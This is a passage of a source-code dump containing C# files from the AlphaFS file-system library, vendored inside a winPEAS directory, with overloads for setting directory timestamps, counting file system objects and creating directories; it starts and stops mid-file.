/// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, pathFormat); } /// [AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once. /// The transaction. /// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, bool modifyReparsePoint) { File.SetFsoDateTimeCore(transaction, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once. /// The transaction. /// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, modifyReparsePoint, pathFormat); } #endregion // Transactional } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.CountFileSystemObjects.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Linq; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Counts file system objects: files, folders or both) in a given directory. /// The counted number of file system objects. /// /// /// /// /// /// /// The directory path. /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static long CountFileSystemObjects(string path, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath).Count(); } /// [AlphaFS] Counts file system objects: files, folders or both) in a given directory. /// The counted number of file system objects. /// /// /// /// /// /// /// The directory path. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static long CountFileSystemObjects(string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, options, null, pathFormat).Count(); } /// [AlphaFS] Counts file system objects: files, folders or both) in a given directory. /// The counted number of file system objects. /// /// /// /// /// /// /// The directory path. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static long CountFileSystemObjects(string path, string searchPattern, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, options, null, PathFormat.RelativePath).Count(); } /// [AlphaFS] Counts file system objects: files, folders or both) in a given directory. /// The counted number of file system objects. /// /// /// /// /// /// /// The directory path. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static long CountFileSystemObjects(string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, options, null, pathFormat).Count(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.CountFileSystemObjectsTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Linq; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Counts file system objects: files, folders or both) in a given directory. /// The counted number of file system objects. /// /// /// /// /// /// /// The transaction. /// The directory path. /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static long CountFileSystemObjectsTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath).Count(); } /// [AlphaFS] Counts file system objects: files, folders or both) in a given directory. /// The counted number of file system objects. /// /// /// /// /// /// /// The transaction. /// The directory path. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static long CountFileSystemObjectsTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, options, null, pathFormat).Count(); } /// [AlphaFS] Counts file system objects: files, folders or both) in a given directory. /// The counted number of file system objects. /// /// /// /// /// /// /// The transaction. /// The directory path. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static long CountFileSystemObjectsTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, options, null, PathFormat.RelativePath).Count(); } /// [AlphaFS] Counts file system objects: files, folders or both) in a given directory. /// The counted number of file system objects. /// /// /// /// /// /// /// The transaction. /// The directory path. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static long CountFileSystemObjectsTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, options, null, pathFormat).Count(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.CreateDirectory.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Creates all directories and subdirectories in the specified path unless they already exist. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. [SecurityCritical] public static DirectoryInfo CreateDirectory(string path) { return CreateDirectoryCore(false, null, path, null, null, false, PathFormat.RelativePath); } /// Creates all the directories in the specified path, unless the already exist, applying the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. /// The access control to apply to the directory. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectory(string path, DirectorySecurity directorySecurity) { return CreateDirectoryCore(false, null, path, null, directorySecurity, false, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Creates all the directories in the specified path, applying the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectory(string path, PathFormat pathFormat) { return CreateDirectoryCore(false, null, path, null, null, false, pathFormat); } /// [AlphaFS] Creates all the directories in the specified path, applying the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. /// When true compresses the directory using NTFS compression. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectory(string path, bool compress) { return CreateDirectoryCore(false, null, path, null, null, compress, PathFormat.RelativePath); } /// [AlphaFS] Creates all the directories in the specified path, applying the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. /// When true compresses the directory using NTFS compression. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectory(string path, bool compress, PathFormat pathFormat) { return CreateDirectoryCore(false, null, path, null, null, compress, pathFormat); } /// [AlphaFS] Creates all the directories in the specified path, applying the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. /// The access control to apply to the directory. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectory(string path, DirectorySecurity directorySecurity, PathFormat pathFormat) { return CreateDirectoryCore(false, null, path, null, directorySecurity, false, pathFormat); } /// [AlphaFS] Creates all the directories in the specified path, applying the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. /// The access control to apply to the directory. /// When true compresses the directory using NTFS compression. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectory(string path, DirectorySecurity directorySecurity, bool compress) { return CreateDirectoryCore(false, null, path, null, directorySecurity, compress, PathFormat.RelativePath); } /// [AlphaFS] Creates all the directories in the specified path, applying the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. /// The access control to apply to the directory. /// When true compresses the directory using NTFS compression. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectory(string path, DirectorySecurity directorySecurity, bool compress, PathFormat pathFormat) { return CreateDirectoryCore(false, null, path, null, directorySecurity, compress, pathFormat); } /// [AlphaFS] Creates a new directory, with the attributes of a specified template directory. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. /// The path of the directory to use as a template when creating the new directory. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectory(string path, string templatePath) { return CreateDirectoryCore(false, null, path, templatePath, null, false, PathFormat.RelativePath); } /// [AlphaFS] Creates a new directory, with the attributes of a specified template directory. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. /// The path of the directory to use as a template when creating the new directory. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectory(string path, string templatePath, PathFormat pathFormat) { return CreateDirectoryCore(false, null, path, templatePath, null, false, pathFormat); } /// [AlphaFS] Creates a new directory, with the attributes of a specified template directory. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. /// The path of the directory to use as a template when creating the new directory. /// When true compresses the directory using NTFS compression. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectory(string path, string templatePath, bool compress) { return CreateDirectoryCore(false, null, path, templatePath, null, compress, PathFormat.RelativePath); } /// [AlphaFS] Creates a new directory, with the attributes of a specified template directory. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. /// The path of the directory to use as a template when creating the new directory. /// When true compresses the directory using NTFS compression. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectory(string path, string templatePath, bool compress, PathFormat pathFormat) { return CreateDirectoryCore(false, null, path, templatePath, null, compress, pathFormat); } /// [AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. /// The path of the directory to use as a template when creating the new directory. /// The access control to apply to the directory. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectory(string path, string templatePath, DirectorySecurity directorySecurity) { return CreateDirectoryCore(false, null, path, templatePath, directorySecurity, false, PathFormat.RelativePath); } /// [AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. /// The path of the directory to use as a template when creating the new directory. /// The access control to apply to the directory. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectory(string path, string templatePath, DirectorySecurity directorySecurity, PathFormat pathFormat) { return CreateDirectoryCore(false, null, path, templatePath, directorySecurity, false, pathFormat); } /// [AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. /// The path of the directory to use as a template when creating the new directory. /// The access control to apply to the directory. /// When true compresses the directory using NTFS compression. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectory(string path, string templatePath, DirectorySecurity directorySecurity, bool compress) { return CreateDirectoryCore(false, null, path, templatePath, directorySecurity, compress, PathFormat.RelativePath); } /// [AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The directory to create. /// The path of the directory to use as a template when creating the new directory. /// The access control to apply to the directory. /// When true compresses the directory using NTFS compression. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectory(string path, string templatePath, DirectorySecurity directorySecurity, bool compress, PathFormat pathFormat) { return CreateDirectoryCore(false, null, path, templatePath, directorySecurity, compress, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.CreateDirectoryTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Creates all directories and subdirectories in the specified path unless they already exist. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path) { return CreateDirectoryCore(false, transaction, path, null, null, false, PathFormat.RelativePath); } /// [AlphaFS] Creates all the directories in the specified path, applying the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return CreateDirectoryCore(false, transaction, path, null, null, false, pathFormat); } /// [AlphaFS] Creates all the directories in the specified path, applying the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. /// When true compresses the directory using NTFS compression. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, bool compress) { return CreateDirectoryCore(false, transaction, path, null, null, compress, PathFormat.RelativePath); } /// [AlphaFS] Creates all the directories in the specified path, applying the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. /// When true compresses the directory using NTFS compression. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, bool compress, PathFormat pathFormat) { return CreateDirectoryCore(false, transaction, path, null, null, compress, pathFormat); } /// [AlphaFS] Creates all the directories in the specified path, unless the already exist, applying the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. /// The access control to apply to the directory. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, DirectorySecurity directorySecurity) { return CreateDirectoryCore(false, transaction, path, null, directorySecurity, false, PathFormat.RelativePath); } /// [AlphaFS] Creates all the directories in the specified path, applying the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. /// The access control to apply to the directory. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, DirectorySecurity directorySecurity, PathFormat pathFormat) { return CreateDirectoryCore(false, transaction, path, null, directorySecurity, false, pathFormat); } /// [AlphaFS] Creates all the directories in the specified path, applying the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. /// The access control to apply to the directory. /// When true compresses the directory using NTFS compression. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, DirectorySecurity directorySecurity, bool compress) { return CreateDirectoryCore(false, transaction, path, null, directorySecurity, compress, PathFormat.RelativePath); } /// [AlphaFS] Creates all the directories in the specified path, applying the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. /// The access control to apply to the directory. /// When true compresses the directory using NTFS compression. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, DirectorySecurity directorySecurity, bool compress, PathFormat pathFormat) { return CreateDirectoryCore(false, transaction, path, null, directorySecurity, compress, pathFormat); } /// [AlphaFS] Creates a new directory, with the attributes of a specified template directory. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. /// The path of the directory to use as a template when creating the new directory. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath) { return CreateDirectoryCore(false, transaction, path, templatePath, null, false, PathFormat.RelativePath); } /// [AlphaFS] Creates a new directory, with the attributes of a specified template directory. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. /// The path of the directory to use as a template when creating the new directory. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath, PathFormat pathFormat) { return CreateDirectoryCore(false, transaction, path, templatePath, null, false, pathFormat); } /// [AlphaFS] Creates a new directory, with the attributes of a specified template directory. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. /// The path of the directory to use as a template when creating the new directory. /// When true compresses the directory using NTFS compression. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath, bool compress) { return CreateDirectoryCore(false, transaction, path, templatePath, null, compress, PathFormat.RelativePath); } /// [AlphaFS] Creates a new directory, with the attributes of a specified template directory. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. /// The path of the directory to use as a template when creating the new directory. /// When true compresses the directory using NTFS compression. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath, bool compress, PathFormat pathFormat) { return CreateDirectoryCore(false, transaction, path, templatePath, null, compress, pathFormat); } /// [AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. /// The path of the directory to use as a template when creating the new directory. /// The access control to apply to the directory. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath, DirectorySecurity directorySecurity) { return CreateDirectoryCore(false, transaction, path, templatePath, directorySecurity, false, PathFormat.RelativePath); } /// [AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. /// The path of the directory to use as a template when creating the new directory. /// The access control to apply to the directory. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath, DirectorySecurity directorySecurity, PathFormat pathFormat) { return CreateDirectoryCore(false, transaction, path, templatePath, directorySecurity, false, pathFormat); } /// [AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. /// The path of the directory to use as a template when creating the new directory. /// The access control to apply to the directory. /// When true compresses the directory using NTFS compression. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath, DirectorySecurity directorySecurity, bool compress) { return CreateDirectoryCore(false, transaction, path, templatePath, directorySecurity, compress, PathFormat.RelativePath); } /// [AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security. /// An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// The transaction. /// The directory to create. /// The path of the directory to use as a template when creating the new directory. /// The access control to apply to the directory. /// When true compresses the directory using NTFS compression. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath, DirectorySecurity directorySecurity, bool compress, PathFormat pathFormat) { return CreateDirectoryCore(false, transaction, path, templatePath, directorySecurity, compress, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.Delete.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using 